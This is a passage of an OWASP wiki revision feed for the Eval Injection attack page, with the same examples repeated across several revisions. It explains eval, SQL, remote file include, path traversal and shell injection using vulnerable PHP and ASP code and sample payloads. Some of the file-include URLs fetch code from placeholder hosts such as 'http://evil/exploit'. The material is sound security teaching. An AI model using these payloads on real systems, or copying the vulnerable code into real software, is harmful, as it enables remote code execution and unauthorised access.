&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
* [[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33021</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33021"/>
				<updated>2008-07-01T17:12:15Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Vulnerabilities */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;amp;lt;/pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	Else&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;form&amp;gt;&lt;br /&gt;
			&amp;lt;input name=&amp;quot;username&amp;quot; /&amp;gt;&amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;submit&amp;quot; /&amp;gt;&lt;br /&gt;
		&amp;lt;/form&amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
	End If&lt;br /&gt;
%&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Threat Agents]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Insider]]&lt;br /&gt;
&lt;br /&gt;
[[:Category:outsider]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Attacks]]==&lt;br /&gt;
&lt;br /&gt;
*[[Direct Static Code Injection]]&lt;br /&gt;
*[[Code Injection]]&lt;br /&gt;
*[[:Category:Injection Attack | Injection Attacks]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Related [[Vulnerabilities]]==&lt;br /&gt;
&lt;br /&gt;
* [[:Category: Input Validation]]&lt;br /&gt;
&lt;br /&gt;
==Related [[Controls]]==&lt;br /&gt;
&lt;br /&gt;
[[:Category:Input Validation]]&lt;br /&gt;
&lt;br /&gt;
[[Category:Injection]]&lt;br /&gt;
[[Category:Attack]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
&lt;br /&gt;
*http://secunia.com/cve_reference/CVE-2006-2005/?show_result=1&lt;br /&gt;
* http://en.wikipedia.org/wiki/Code_injection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__&lt;/div&gt;</summary>
		<author><name>Edualves</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33020</id>
		<title>Direct Dynamic Code Evaluation ('Eval Injection')</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Direct_Dynamic_Code_Evaluation_(%27Eval_Injection%27)&amp;diff=33020"/>
				<updated>2008-07-01T17:10:31Z</updated>
		
		<summary type="html">&lt;p&gt;Edualves: /* Related Controls */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:Attack}}&lt;br /&gt;
&lt;br /&gt;
Last revision: '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
This attack consists in a script does not properly validate user inputs in the page parameter.  A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement which results in code execution.&lt;br /&gt;
&lt;br /&gt;
Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.&lt;br /&gt;
&lt;br /&gt;
Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Examples==&lt;br /&gt;
&lt;br /&gt;
===Example 1===&lt;br /&gt;
In this example an attacker can control all or part of an input string that is fed into an eval() function call&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
  $myvar = &amp;quot;varname&amp;quot;; &lt;br /&gt;
  $x = $_GET['arg']; &lt;br /&gt;
  eval(&amp;quot;\$myvar = \$x;&amp;quot;); &lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The argument of &amp;quot;eval&amp;quot; will be processed as PHP, so additional commands can be appended. For example, if &amp;quot;arg&amp;quot; is set to &amp;quot;10 ; system(\&amp;quot;/bin/echo uh-oh\&amp;quot;);&amp;quot;, additional code is run which executes a program on the server, in this case &amp;quot;/bin/echo&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Example 2===&lt;br /&gt;
The following is a example of [[SQL Injection]], consider a web page has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames: &lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password'&lt;br /&gt;
&lt;br /&gt;
If this query returns exactly one row, then access is granted. However, if the malicious user enters a valid Username and injects some valid code (&amp;quot;' OR 1=1&amp;quot;) in the Password field, then the resulting query will look like this:&lt;br /&gt;
 SELECT UserList.Username&lt;br /&gt;
 FROM UserList&lt;br /&gt;
 WHERE&lt;br /&gt;
 UserList.Username = 'Username'&lt;br /&gt;
 AND UserList.Password = 'Password' OR '1'='1'&lt;br /&gt;
&lt;br /&gt;
In the example above, &amp;quot;Password&amp;quot; is assumed to be blank or some innocuous string. &amp;quot;1=1&amp;quot; will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.&lt;br /&gt;
&lt;br /&gt;
===Example 3===&lt;br /&gt;
This is a example of a file was injected. Consider this PHP program (which includes a file specified by request):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
   $color = 'blue';&lt;br /&gt;
   if ( isset( $_GET['COLOR'] ) )&lt;br /&gt;
      $color = $_GET['COLOR'];&lt;br /&gt;
   require( $color . '.php' );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;form&amp;gt;&lt;br /&gt;
   &amp;lt;select name=&amp;quot;COLOR&amp;quot;&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;red&amp;quot;&amp;gt;red&amp;lt;/option&amp;gt;&lt;br /&gt;
      &amp;lt;option value=&amp;quot;blue&amp;quot;&amp;gt;blue&amp;lt;/option&amp;gt;&lt;br /&gt;
   &amp;lt;/select&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''&amp;lt;nowiki&amp;gt;http://evil/exploit&amp;lt;/nowiki&amp;gt;'''&amp;lt;/code&amp;gt; - injects a remotely hosted file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''..\..\..\..\ftp\upload\exploit'''&amp;lt;/code&amp;gt; - injects an uploaded file containing an exploit, using [[Path Traversal]].&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/vulnerable.php?COLOR='''C:\notes.txt%00'''&amp;lt;/code&amp;gt; - example using Null character, Meta character to remove the &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; suffix, allowing access to other files than .php. (PHP setting &amp;quot;magic_quotes_gpc = On&amp;quot;, which is default, would stop this attack)&lt;br /&gt;
&lt;br /&gt;
===Example 4===&lt;br /&gt;
A simple URL which demonstrate a way to do this attack:&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;nowiki&amp;gt;http://some-page/any-dir/index.php?page=&amp;lt;?include($s);?&amp;gt;&amp;amp;s=http://malicious-page/cmd.txt?  &amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Example 5===&lt;br /&gt;
Shell Injection applies to most systems which allows software to programmatically execute Command line. Typical sources of Shell Injection is calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.&lt;br /&gt;
&lt;br /&gt;
Consider the following short PHP program, which runs an external program called '''funnytext''' to replace a word the user sent with some other word)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;HTML&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
passthru ( &amp;quot; /home/user/phpguru/funnytext &amp;quot; &lt;br /&gt;
           . $_GET['USER_INPUT'] );&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This program can be injected in multiple ways:&lt;br /&gt;
* '''`command`''' will execute '''command'''.&lt;br /&gt;
* '''$(command)''' will execute '''command'''.&lt;br /&gt;
* '''; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;amp;&amp;amp; command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''|| command''' will execute '''command''', and output result of command.&lt;br /&gt;
* '''&amp;gt; /home/user/phpguru/.bashrc''' will overwrite file '''.bashrc'''.&lt;br /&gt;
* '''&amp;lt; /home/user/phpguru/.bashrc''' will send file '''.bashrc''' as input to '''funnytext'''.&lt;br /&gt;
&lt;br /&gt;
PHP offers [http://www.php.net/manual/en/function.escapeshellarg.php escapeshellarg()] and [http://www.php.net/manual/en/function.escapeshellcmd.php escapeshellcmd()] to perform '''encoding''' before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.&lt;br /&gt;
&lt;br /&gt;
===Example 6===&lt;br /&gt;
The following code is a vulnerable a eval() injection, because it don’t sanitize the user’s input (in this case: “username”), the program just save this input in txt file, and after the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&amp;lt;pre&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
&amp;lt;%&lt;br /&gt;
	If not isEmpty(Request( &amp;quot;username&amp;quot; ) ) Then&lt;br /&gt;
		Const ForReading = 1, ForWriting = 2, ForAppending = 8&lt;br /&gt;
		Dim fso, f&lt;br /&gt;
		Set fso = CreateObject(&amp;quot;Scripting.FileSystemObject&amp;quot;)&lt;br /&gt;
		Set f = fso.OpenTextFile(Server.MapPath( &amp;quot;userlog.txt&amp;quot; ), ForAppending, True)&lt;br /&gt;
		f.Write Request(&amp;quot;username&amp;quot;) &amp;amp; vbCrLf&lt;br /&gt;
		f.close&lt;br /&gt;
		Set f = nothing&lt;br /&gt;
		Set fso = Nothing&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
		&amp;lt;h1&amp;gt;List of logged users:&amp;lt;/h1&amp;gt;&lt;br /&gt;
		&amp;amp;lt;pre&amp;amp;gt;&lt;br /&gt;
		&amp;lt;%&lt;br /&gt;
			Server.Execute( &amp;quot;userlog.txt&amp;quot; )&lt;br /&gt;
		%&amp;gt;&lt;br /&gt;
